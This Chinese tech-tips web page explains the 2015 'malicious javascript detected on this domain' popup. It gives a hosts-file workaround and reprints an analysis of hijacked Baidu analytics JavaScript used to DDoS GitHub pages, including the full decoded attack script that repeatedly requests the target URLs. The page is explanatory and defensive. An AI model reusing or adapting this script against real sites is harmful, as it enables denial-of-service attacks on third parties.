返回首页
当前位置: 主页 > 精通Office > 其他教程 >

一招解决WARNING: malicious javascript detected on this domai

时间:2015-04-06 13:09来源:知行网www.zhixing123.cn 编辑:麦田守望者

浏览网站的时候不断弹出"WARNING: malicious javascript detected on this domain"窗口,这是中毒了吗?这其实是百度统计JS代码被劫持用来DDOS Github。具体原因是百度联盟的JS被劫持用于对GitHub进行DDOS攻击。而又有很多网站使用了百度联盟,于是很多网站都加载了用于攻击的JS脚本。有意思的是,似乎只有境外IP访问百度联盟网站时才会出现被劫持的情况。

临时解决方法:

1.修改hosts

在Hosts文件中添加如下条目

1
2
3 127.0.0.1 hm.baidu.com
127.0.0.1 cbjs.baidu.com
127.0.0.1 dup.baidustatic.com


提示:参考hosts文件修改图文教程 android手机怎么修改hosts 苹果Macbook笔记本/iMac电脑修改Hosts教程

2.禁止弹窗

谷歌Chrome浏览器或者360极速浏览器等可以屏蔽持续弹出的弹窗,多点击几次确定,然后Chrome就会提示“不再出现警告”。

详细原因分析:

今天中午刷着全国最大的信息安全从业人员同性交友社区zone.wooyun.org的时候,忽然浏览器每隔2秒就不断的弹窗:

malicious javascript detected on this domain

enter image description here

我第一反应就是不知道哪个调皮的基友又把zone给XSS了,马上打开开发者工具分析。

0x01 细节

之后立刻发现弹窗的js居然是从github加载的:

enter image description here

可是为什么乌云会从github加载js呢,并且还是从greatfire和纽约时报镜像加载。

第一反应是页面有xss或者js被劫持了,找了半天终于找到了,居然是

hm.baidu.com/h.js

这个js的确被乌云加载了没错,这是百度统计的js代码,打开后里面是一个简单加密后的js,eval了一串编码后的内容,随便找了个在线解密看了下,发现如下内容:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>x3c/script>");

!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>x3c/script>");

startime = (new Date).getTime();

var count = 0;

 

function unixtime() {

    var a = new Date;

    return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3

}

url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];

NUM = url_array.length;

 

function r_send2() {

    var a = unixtime() % NUM;

    get(url_array[a])

}

 

function get(a) {

    var b;

    $.ajax({

        url: a,

        dataType: "script",

        timeout: 1E4,

        cache: !0,

        beforeSend: function() {

            requestTime = (new Date).getTime()

        },

        complete: function() {

            responseTime = (new Date).getTime();

            b = Math.floor(responseTime - requestTime);

            3E5 > responseTime - startime && (r_send(b), count += 1)

        }

    })

}

 

function r_send(a) {

    setTimeout("r_send2()", a)

}

setTimeout("r_send2()", 2E3);

大概功能就是关闭缓存后每隔2秒加载一次

url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];

里面的两个url

问了下墙内的小伙伴们,他们看到的js都是正常的,但是通过墙外ip访问

http://hm.baidu.com/h.js

就会得到上面的js文件,每隔2秒请求一下这两个url。

打开twitter看了下,似乎从3月18号以来Github就受到了DDoS攻击,之后greatfire把被攻击的页面内容换成了

1

alert("WARNING: malicious javascript detected on this domain")

以弹窗的方式阻止了js的循环执行。

enter image description here

图3 国外ip traceroute到hm.baidu.com的记录

似乎DNS并没有被劫持,看来是像之前一样直接把IP劫持了或者直接在HTTP协议里替换文件。

enter image description here

扫了下端口,只开了80和443,通过https协议访问后是正常的空页面(只有带referer才会出现js文件)。

enter image description here

作者要进行抓包分析时劫持已经停止,在twitter上看到有人已经分析过引用如下:

抓包跟踪,正常百度服务器返回给我日本VPS的TTL为51, RESP返回HTTP 200 OK的报文的TTL是47,可以确定的是有中间设备对VPS发了伪造报文。

enter image description here

真是无耻,呵呵

忽然想起一句话,之前DNS被劫持到外国服务器的时候某站长说的:

They have weaponized their entire population.

现在应该是:

They have weaponized their entire population of the Earth.
------分隔线----------------------------
标签(Tag):电脑知识 电脑教程 电脑技巧
------分隔线----------------------------
推荐内容
  • Chrome 浏览器清除历史记录

    Chrome 浏览器是我觉得所有浏览器中最好用的,没有之一。虽然我自己电脑上还装了 Fire...

  • 如何从零搭建一个自动化运维体系

    对自动化运维体系的需求,是随着业务的增长、对运维效率和质量的要求不断提高而产生的...

  • 手把手教你如何做IP安全策略

    服务器的安全可以通过设定IP安全策略来得到一定的保护,对于每个Windows网管人员来说I...

  • 如何解决电脑双硬盘引起的异常响声

    电脑就有了两块硬盘:SSD(装系统)+ HDD(装电影,你懂的~),感觉就是爽歪歪! 问题...

  • 知行网教你快速打造属于自己的U盘图标

    大家是否厌倦了千盘一面,也想和小明一样,拥有属于自己的个性化U盘图标?其实,这很...

  • PotPlayer正在运行迅雷时播放视频黑屏怎么办?解决P

    PotPlayer正在运行迅雷时播放视频黑屏怎么办?解决PotPlayer迅雷播放黑屏问题! 最近我...

  • 猜你感兴趣
  • 教育技术学动态
  • 教育技术学论文
  • 理论研究
  • 应用研究
  • 资源收藏
  • 百家观点
  • 英文文献
  • 中国电化教育
  • 电化教育研究
  • 中国远程教育
  • 开放教育研究
  • 现代教育技术
  • 远程教育杂志
  • 现代远距离教育
  • 中国教育信息化
  • 中国信息技术教育
  • 中小学信息技术
  • Flash龙8国际平台入口
  • Photoshop龙8国际平台入口
  • 3DMAX龙8国际平台入口
  • AutoCAD龙8国际平台入口
  • CorelDRAW龙8国际平台入口
  • Matlab龙8国际平台入口
  • 其他龙8国际平台入口
  • .Net龙8国际平台入口
  • Asp龙8国际平台入口
  • Php龙8国际平台入口
  • Jsp龙8国际平台入口
  • Ajax龙8国际平台入口
  • Android教程
  • 其他龙8国际平台入口
  • Word教程
  • Excel教程
  • PowerPoint教程
  • Ubuntu教程
  • 其他教程
  • 课件下载
  • 软件下载
  • 视频教程下载
  • 其他下载
  • 教案大全
  • 试题大全
  • 课件大全
  • 其他大全
  • 人像摄影
  • 风光摄影